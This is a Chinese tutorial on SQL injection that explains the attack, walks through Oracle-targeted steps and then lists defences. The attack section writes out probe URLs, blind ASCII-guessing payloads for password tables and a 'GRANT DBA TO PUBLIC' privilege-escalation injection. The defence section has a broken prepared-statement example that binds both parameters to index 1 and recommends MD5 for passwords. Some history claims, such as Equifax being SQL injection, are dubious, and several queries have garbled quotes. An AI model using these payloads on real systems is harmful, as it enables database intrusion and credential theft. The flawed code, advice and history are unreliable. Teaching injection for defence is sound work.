目錄

• 1. 前言
• 2. SQL注入簡介
• （1）SQL語言
• （2）SQL注入
• 3. SQL注入步驟
• （1）發(fā)現(xiàn)漏洞
• （2）信息收集
• （3）攻擊Web系統(tǒng)（猜解用戶名和密碼）
• （4）獲取管理員權限
• 4. 防范SQL注入
• （1）使用參數(shù)化查詢或存儲過程
• （2）用戶輸入檢測
• （3）SQL語法分析
• （4）其他

1. 前言

隨著互聯(lián)網(wǎng)的發(fā)展和普及，網(wǎng)絡安全問題越來越突出，網(wǎng)絡在為用戶提供越來越多服務的同時，也要面對各類越來越復雜的惡意攻擊。SQL注入（SQL Injection）攻擊是其中最普遍的安全隱患之一，它利用應用程序?qū)τ脩糨斎霐?shù)據(jù)的信任，將惡意SQL代碼注入到應用程序中，從而執(zhí)行攻擊者的操作。這種攻擊可以導致敏感信息泄露、數(shù)據(jù)損壞或刪除及系統(tǒng)癱瘓，給企業(yè)和個人帶來巨大損失。因此，如何防范SQL注入攻擊成為了網(wǎng)絡安全領域的一個重要議題。

在國外，SQL注入最早出現(xiàn)在1999年；在我國大約出現(xiàn)在2002年。2015年，約翰·卡特爾（John McAfee）的網(wǎng)站遭到了SQL注入攻擊，導致黑客獲取了網(wǎng)站上全部的注冊用戶信息。2016年，Yahoo公司披露了兩起大規(guī)模數(shù)據(jù)泄露事件，其中涉及的一次就是通過SQL注入攻擊獲得的。2017年，Equifax公司遭到了一次嚴重的數(shù)據(jù)泄露事件，泄露了超過1.43億條用戶記錄。調(diào)查人員發(fā)現(xiàn)，攻擊者使用了SQL注入攻擊。

可見，SQL注入攻擊破壞敏感數(shù)據(jù)的完整性和可用性，給網(wǎng)絡用戶和企業(yè)造成了巨大的生活困擾和經(jīng)濟損失。

2. SQL注入簡介

（1）SQL語言

Structured Query Language(簡稱SQL)是—種結構化查詢語言，一種數(shù)據(jù)庫文本語言。SQL用于同關系數(shù)據(jù)庫進行交互，能夠執(zhí)行對數(shù)據(jù)庫的查詢、獲取數(shù)據(jù)庫的信息、向數(shù)據(jù)庫插入新的紀錄、刪除及更新數(shù)據(jù)庫中的記錄。

SQL有很多種類，但大多都基于ANSI標準SQL-92。SQL執(zhí)行的單位是一個“query”，該“query”可以是一系列語句集合，返回一個結果集。SQL語句可以修改數(shù)據(jù)庫結構(使用數(shù)據(jù)定義語言DDL)和操作數(shù)據(jù)庫內(nèi)容(使用數(shù)據(jù)操作語言DML)。SQL語言本身造成了SQL注入漏洞，給SQL注入攻擊帶來了可能性。

（2）SQL注入

SQL注入攻擊是一種利用應用程序漏洞的攻擊方式。攻擊者通過向應用程序發(fā)送構造的惡意SQL語句，欺騙應用程序執(zhí)行這些SQL語句，如果Web應用沒有適當?shù)尿炞C用戶輸入的信息，攻擊者就有可能改變后臺執(zhí)行的SQL語句的結構，獲取相應結果。攻擊者可以利用SQL注入漏洞獲取數(shù)據(jù)庫中的敏感信息，修改或刪除數(shù)據(jù)庫中的數(shù)據(jù)，或者完全控制Web服務器。

比如基于表單登錄功能的應用程序，通過執(zhí)行一個簡單的SQL查詢來確認每次登錄，以下是這個查詢的一個典型實例：

SELECT * FROM users WHERE username="alice" and password="secret"

這個查詢要求數(shù)據(jù)庫檢查用戶表中的每一行，提取username值為alice并且password值為secret的記錄。如果返回一條用戶記錄，該用戶即可成功登錄。

攻擊者可注入用戶名或密碼字段來修改程序執(zhí)行的查詢，一般是輸入雙連字符（--）注釋掉其余部分或類似’ or ‘1’ =‘1用引號包含的字符串數(shù)據(jù)來“平衡引號”，來破壞查詢的邏輯。比如攻擊者可以通過提交用戶名為alice’--或alice’ or ‘1’=‘1，密碼為任意，應用程序?qū)?zhí)行以下查詢：

SELECT * FROM users WHERE username="alice"--‘" and password="any"

或

SELECT * FROM users WHERE username=" alice" or ‘1"=‘1" and password="any"

這兩條查詢均等同于

SELECT * FROM users WHERE username="alice"

從而避開了密碼檢查，成功登錄。

因此SQL注入漏洞本質(zhì)上是針對程序員編程中的漏洞，利用SQL的語法在應用程序與數(shù)據(jù)庫交互的SQL語句中插入精心編制的額外的SQL語句，從而對數(shù)據(jù)庫進行非法查詢和修改。由于程序運行SQL語句時的權限與當前該組建（例如，數(shù)據(jù)庫服務器、Web應用服務器）的權限相同，而這些組件一般的運行權限都很高，而且經(jīng)常是以管理員的權限運行，所以攻擊者可能獲得數(shù)據(jù)庫的完全控制，并執(zhí)行系統(tǒng)命令。

3. SQL注入步驟

SQL注入攻擊有多種類型，包括基于錯誤的注入、聯(lián)合查詢注入、堆疊查詢注入等。其中，基于錯誤的注入是最常見的類型。攻擊者通過發(fā)送包含惡意SQL語句的輸入數(shù)據(jù)來觸發(fā)應用程序中的錯誤，從而獲取有關數(shù)據(jù)庫結構和內(nèi)容的信息。

（1）發(fā)現(xiàn)漏洞

可以用經(jīng)典的1=1，1=2測試法測試SQL注入是否存在。

以http://www.test.com/profile.do?id=113為例，使用以下測試方案：

• http://www.test.com/profile.do?id=113’
• http://www.test.com/profile.do?id=113 and 1=1
• http://www.test.com/profile.do?id=113 and 1=2

（2）信息收集

確認系統(tǒng)表是否存在，主要利用Oracle數(shù)據(jù)庫中以下系統(tǒng)表：

• all_tables：存放當前ID和其他用戶的所有表
• user_tables：存放當前用戶所有表
• user_tab_columns：存放當前用戶表的所有列

測試以下URL：

• http://www.test.com/profile.do?id=113’and 0<>(select count(*) from all_tables) and '1'='1
• http://www.test.com/profile.do?id=113’and 0<>(select count(*) from user_tables)and '1'='1
• http://www.test.com/profile.do?id=113’and 0<>(select count(*) from user_tab_ columns) and '1'='1

 如果以上頁面都能正確返回，說明存在猜測的系統(tǒng)表。

（3）攻擊Web系統(tǒng)（猜解用戶名和密碼）

首先查找當前用戶是否有敏感列名：

"and 0<>(select count(*) from user_tab_columns where column_name like "%25PASS%25") and "1"="1

正常返回說明存在類似PASS的字段，猜解該字段對應的表名。先確定表名的長度（不斷改變length(table_name)后的數(shù)值）：

"and 0<>(select count(*) from user_tables where length(table_name)>8 and table_ name like"%25PASS%25") and "1"="1

利用ASCII二分法猜解表名（不斷改變substr函數(shù)的參數(shù)及比較值）：

"and  (ascii(substr((select table_name from user_tab_columns where column_name like "%PASS%" And Rownum<=1),1,1))>64) and "1"="1

猜字段同樣先確定長度，然后利用ASCII二分法猜解字段名：

"and 0<>(select count(*) from user_tables where table_name="T_SYSUSER"and length (column_ name) >8  and column_name like "%PASS%") and "1"="1

"and  (ascii(substr((select column_name from user_tab_columns where table_name ="T_SYSUSER" and column_name like "%25PASS%25"),1,1))>64) and "1"="1

得到用戶表的USERNAME和PASSWD兩列的名稱后，依然是利用ASCII碼猜解法來一步一步確定USERNAME和PASSWD的值，不再詳述。

（4）獲取管理員權限

要想獲取對系統(tǒng)的完全控制，還要有系統(tǒng)的管理員權限。Oracle包含許多可在數(shù)據(jù)庫管理員權限下運行的內(nèi)置存儲過程，并發(fā)現(xiàn)在這些存儲過程中存在SQL注入漏洞。2006年7月補丁發(fā)布之前，存在于默認包SYS.DBMS_ EXPORT_EXTERSION.GET_DOMAIN_INDEX_TABLES中的缺陷就是一個典型的示例。攻擊者可以利用這個缺陷，在易受攻擊的字段中注入GRANT DBA TO PUBLIC查詢（需要換成char形式）來提升權限。

這種類型的攻擊可通過利用Web程序中的SQL注入漏洞，在易受攻擊的參數(shù)中輸入函數(shù)來實現(xiàn)。許多其他類型的缺陷也影響到Oracle的內(nèi)置組件。一個示例是CTXSYS.DRILOAD.VALIDATE_STMT函數(shù)。這個函數(shù)的目的是檢查一個指定的字符串中是否包含一個有效的SQL語句。早期Oracle版本中，在確定被提交的語句的過程中，這個函數(shù)實際執(zhí)行了該語句。這意味著任何用戶只需向這個函數(shù)提交一個語句，就能夠作為數(shù)據(jù)庫管理員執(zhí)行該語句。例如：

exec CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO PUBLIC")

除這些漏洞外，Oracle還含有大量默認功能，這些功能可被低權限用戶訪問，并可用于執(zhí)行各種敏感操作，建立網(wǎng)絡連接或訪問文件系統(tǒng)。比如，可利用UTL_HTTP 包里面的 request函數(shù)構造注射，來建立用戶，并賦予DBA權限。

4. 防范SQL注入

（1）使用參數(shù)化查詢或存儲過程

參數(shù)化查詢分兩個步驟建立一個包含用戶輸入的SQL語句：

• 應用程序制定查詢結構，為用戶輸入的每個數(shù)據(jù)預留占位符；
• 應用程序制定每個占位符的內(nèi)容。
  在第二步中指定的專門設計的數(shù)據(jù)無法破壞在第一步中指定的查詢結構。由于查詢結構已經(jīng)確定，且相關API 對任何類型的占位符數(shù)據(jù)進行安全處理，因此它總被解釋為數(shù)據(jù)，而非語句結構的一部分。

 Java提供以下API，允許應用程序創(chuàng)建一個預先編譯的SQL語句，并以可靠且類型安全的方式指定它的參數(shù)占位符的值：

 java.sql.Connection.prepareStatement
 java.sql.PrepareStatement.*

使用如下：

String username = request.getParameter("j_username");
String passwd = request.getParameter("j_password");
String query = "select * from t_sysuser where username=? and passwd=?";
PreparedStatement stmt = con.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(1, passwd);
ResultSet rs=stmt.executeQuery();

如果用戶提交的用戶名為alice’ or 1=1--，密碼為any，生成的查詢等同于：

select * from t_sysuser where username= ‘a(chǎn)lice" ‘or 1=1--" and passwd="any"

由此可見使用參數(shù)化查詢可以有效防止SQL注入，應在每一個數(shù)據(jù)庫查詢中使用參數(shù)化查詢。如果僅注意用戶直接提交的輸入，二階SQL注入攻擊就很容易被忽略因為已經(jīng)被處理的數(shù)據(jù)被認為是可信的。另外參數(shù)占位符不能用于指定查詢中表和列的名稱，如果應用程序需要根據(jù)用戶提交的數(shù)據(jù)在SQL查詢中指定這些數(shù)據(jù)行，需要使用一份由已知可靠的值組成的“白名單”（即數(shù)據(jù)庫中表和列的名稱），并拒絕任何與這份名單上數(shù)據(jù)不匹配的輸入項。或者對用戶輸入實施嚴格的確認機制。

使用存儲過程的原理與參數(shù)化查詢類似，傳入的參數(shù)在最后被執(zhí)行的SQL語句中會被數(shù)據(jù)庫服務器軟件進行處理，使得輸入的字符串會被當作一個單純的文本參數(shù)參與到SQL查詢中。不論是攻擊者輸入什么參數(shù)都不會改變設計者編寫的SQL語句的語義，也就防止了SQL注入。另外由于存儲過程是預編譯的，對復雜的SQL語句，效率有很大程度上的提升，還可以進一步減少查詢時客戶端發(fā)送到服務端的數(shù)據(jù)包。

（2）用戶輸入檢測

對輸入進行檢測一般是在客戶端和服務器端利用正則表達式來匹配SQL的特殊字符及其等值的十六進制形式，包括單引號（’）、雙重破折號（–）、SELECT、UNION等查詢關鍵字，然后對其進行替換或者過濾。但是在所有的接受輸入的程序部分都嚴格的執(zhí)行檢測卻很難，而且會產(chǎn)生誤報。

（3）SQL語法分析

SQL注入根源在于對于用戶提交的請求沒有足夠的驗證機制，正常的用戶輸入是具有邏輯整體含義的簡單結構，而實施 SQL 注入的字符串一定是包含 SQL語法片段的復合結構。 SQL 注入攻擊本質(zhì)上是希望后臺數(shù)據(jù)庫的 SQL 解釋程序按照不同的方式解釋組裝好的 SQL 語句，如果用戶輸入的字符串不包含 SQL 語法片段，顯然無法達到這個目的。

靜態(tài)代碼分析中能從語法、語義上理解程序行為，直接分析被測程序特征，尋找可能導致錯誤的異常。因此可以在服務器端采用一種類似于靜態(tài)代碼分析的SQL 語法預分析策略來防止SQL注入。首先將 SQL 注入分類，并對其進行詞法分析和語法分析，抽象出各類注入的語法結構，生成語法分析樹；能夠利用該語法分析樹通過機器學習的方法來得到預想的SQL注入的集合，并從該集合中生成新的語法分析樹；然后將用戶提交的輸入預先組裝成完整的 SQL 語句，對該語句進行語法分析，如果發(fā)現(xiàn)具有 SQL 注入特征的語法結構，則判定為 SQL 注入攻擊。判定的唯一依據(jù)是抽象的語法結串，而非具體的特征字符串，避免了傳統(tǒng)的特征字符串匹配策略固有的高識別率和低誤判率之間的矛盾。

由于SQL注入利用的是正常的服務端口，在各類Web應用中已不能通過使用防火墻，SSL等網(wǎng)絡層保護技術來阻止應用層攻擊，也就是說安全邊界擴展到了系統(tǒng)源代碼。因此，必須通過防范軟件代碼中存在的安全漏洞，從而保障系統(tǒng)的安全。

（4）其他

通過在程序中對口令等敏感信息加密，（一般采用MD5函數(shù)），另外在原來的加密的基礎上可以增加一些非常規(guī)的方式，即在MD5加密的基礎上附帶一些值 如密文=MD5 (MD5 (明文)+系統(tǒng)時間)；編碼時注意屏蔽網(wǎng)頁上顯示的異常與出錯信息，并對源代碼進行安全審查及軟件安全測試。

安全配置服務器，包括目錄最小化權限設置：給靜態(tài)網(wǎng)頁目錄和動態(tài)網(wǎng)頁目錄分別設置不同權限，盡量不給寫目錄權限；修改或者去掉 Web 服務器上默認的一些危險命令，例如ftp、cmd等 需要時再復制到相應目錄；正確配置iptables及Oracle的sqlnet.ora文件，通過IP地址限制對于數(shù)據(jù)庫訪問。

以上就是一文搞懂SQL注入攻擊的詳細內(nèi)容，更多關于SQL注入攻擊的資料請關注其它相關文章！